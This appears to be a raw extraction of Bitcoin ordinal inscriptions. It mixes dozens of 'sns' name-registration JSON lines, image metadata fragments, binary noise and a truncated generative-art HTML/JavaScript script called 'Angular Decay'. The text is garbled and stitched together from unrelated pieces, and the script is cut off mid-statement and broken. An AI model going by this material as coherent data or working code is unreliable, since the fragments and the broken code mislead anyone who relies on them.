uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0901.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Fauci.sats"}h! text/plain;charset=utf-8 5{"p":"sns","op":"reg","name":"Kansascitychiefs.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0401.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Trans.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Premium.sats"}h! uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0408.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Tiffany.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"bigbrother.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0501.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"kaa.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11188.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"nnb.sats"}h! 2023-02-26T19:25:41+00:00@ 2023-02-26T19:25:41+00:001B 2023-02-26T19:25:42+00:00W (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10080.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"242396.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"Olympics2024.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"zhihu.sats"}h! text/plain;charset=utf-8 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0406.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aat.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Messi.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"taa.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"DonkeyKong.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Microsoft.sats"}h! uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"3.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0806.sats"}h! 2023-03-02T09:30:39+00:00 2023-03-02T09:30:39+00:00e/ 2023-03-02T09:30:39+00:002: text/plain;charset=utf-8 iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>636</exif:PixelYDimension> <exif:PixelXDimension>630</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"7.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0605.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"HomeDepot.sats"}h! d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"0xlover.sats"}h! text/plain;charset=utf-8 "name": "crypto-finance.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"52jk.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mik.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3504.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3412.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mly.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mmy.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"ilovebitcoin.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"msm.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3486.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"zhongbencong.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"sunyuchen.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3428.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3492.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3472.sats"}h! text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"zhaochangpeng.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3408.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"Q.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"H.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mms.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mgo.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3426.sats"}h! text/plain;charset=utf-8 "name": "$66.sats" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"694.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"903.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"254.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"348.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"492.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"258.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"685.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"218.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"221.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"908.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"677.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"678.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"303.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"223.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"256.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"652.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"418.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"995.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"901.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"228.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"236.sats"}h! text/plain;charset=utf-8 iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM /1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:24-08:00" xmp:ModifyDate="2023-02-16T17:49:28-08:00" xmp:MetadataDate="2023-02-16T17:49:28-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:05488d6e-0485-4400-8819-ccf9811b0638" xmpMM:DocumentID="adobe:docid:photoshop:95436659-6439-c949-94be-abe211c8b86f" xmpMM:OriginalDocumentID="xmp.did:670b6958-b0f7-49fc-9aa6-9533f1f75d92"> <xmpM MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:670b6958-b0f7-49fc-9aa6-9533f1f75d92" stEvt:when="2023-02-16T14:40:24-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:588f5c6e-591d-4380-947e-c5801b5c5f00" stEvt:when="2023-02-16T16:20:07-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:05488d6e-0485-4400-8819-ccf9811b0638" stEvt:wM hen="2023-02-16T17:49:28-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{Q text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"layer0.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ifo.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"paperhands.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 -http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BD00AE23B23E11EDBE92961110F50BF1" xmpMM:DocumentID="xmp.did:BD00AE24B23E11EDBE92961110F50BF1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD00AE21B23E11EDBE92961110F50BF1" stRef:documentID="xmp.did:BD00AE22B23E11EDBE92961110F50BF1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> )A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG ))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } -------------------------------------------------- text/plain;charset=utf-8 "name": "plane.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 IjGREFUND:F70FA15FC29EDA3EF594D42C482908184090C710D7263FE6E4BE5CD2AECE957D "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"cno.sats"}h! uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"FTX.sats"}h! '.$+2'*2++4,*1-.53-.735:1-A2*@70h)2E=5=98:;@2:E18C16>/3=/1:!19&5=$9B$;E&>I!BN4=I3>M5BP7EU9IZ3IX%FS!LZ'N\"Ra%Vf/Wj&Yk.[o%]o$`t#fz(j GayD]uDZp@Uk<Rf<Ob:L^IT^HOXNQOBKQGIG?CK>ADDA>M?4KC:OH=RMDVM@ 6E\SEUTL_YJ][RW[[NZcR^jTen^bsdkg`d^e`PleSplYnocyu_ >J)CO+@M0ES+HV&IW/L\3Pb*Qa.Tf.`t8`w9e|0e{)ey)h}2j +8C-=HBd~'&-'08*5>Fd~ "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>1592</exif:PixelYDimension> <exif:PixelXDimension>2752</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Bitapes.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"papa.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"naa.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( 02-26T18:54:36+00:00 2023-02-26T18:54:36+00:00 2023-02-26T18:54:37+00:00 uiCCPkCGColorSpaceDisplayP3 (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"cryptogpt.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aay.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"La.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"eason.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aap.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"SuperBowl.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Trump.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ngg.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aax.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Russia.sats"}h! text/plain;charset=utf-8 (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"uaa.sats"}h! (B+(%%(Q:=0B`Ued_U][jx %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"soda.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"gaa.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"xaa.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aar.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aam.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"Losangeles.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Xrated.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0908.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"BraziL.sats"}h! text/plain;charset=utf-8 "name": "poop.sats" uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"tff.sats"}h! d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"100ETH.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"666ETH.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"yugalabs.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"cz.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"newland.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"elonmusk.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"mfers.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ach.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"ventock.sats"}h! FjDOUT:C97A049C2D0A3FDE1D00D4EF54387C49B830F27F7DE6E42D3F53CB3769B3BC94 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz (((((((((((((((((((((((((((((((((((((((((((((((((( "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 iTXtXML:com.adobe.xmp http://ns.adobe.com/xap/1.0/ <x:xmpmeta xmlns:x='adobe:ns:meta/'> <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'> <rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1/'> <rdf:li xml:lang='x-default'>SMT Ordinal - 1</rdf:li> </rdf:Description> <rdf:Description rdf:about='' xmlns:Attrib=M 'http://ns.attribution.com/ads/1.0/'> <Attrib:Ads> <rdf:li rdf:parseType='Resource'> <Attrib:Created>2023-03-01</Attrib:Created> <Attrib:ExtId>1a01dd5e-dafd-4040-9681-6e25790759cb</Attrib:ExtId> <Attrib:FbId>525265914179580</Attrib:FbId> <Attrib:TouchType>2</Attrib:TouchType> </Attrib:Ads> </rdf:Description> <rdf:Description rdf:about='' xmlns:pdf='http://ns.adobe.com/pdf/1.3/'> <pdf:Author>Tokyo Flatland</pdf:Author> </rdf:Description> <rdf:Description rdf:about='' xmlns:xmp='http://ns.adobe.com/xap/1.0/'> <xmp:CreatorTool>Canva</xmp:CreatorTool> </rdf:Description> </x:xmpmeta> xr:d:DAFXO3pT5WU:164,j:4576165845,t:23030120 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"edv.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0506.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Florida.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Coingecko.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Nytimes.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"xxc.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"influencer.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ths.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0409.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Ukraine.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5680.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"LALakers.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"yibai.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDO "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Discord.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Futball.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"laa.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Satoshi.sats"}h! "3 % % 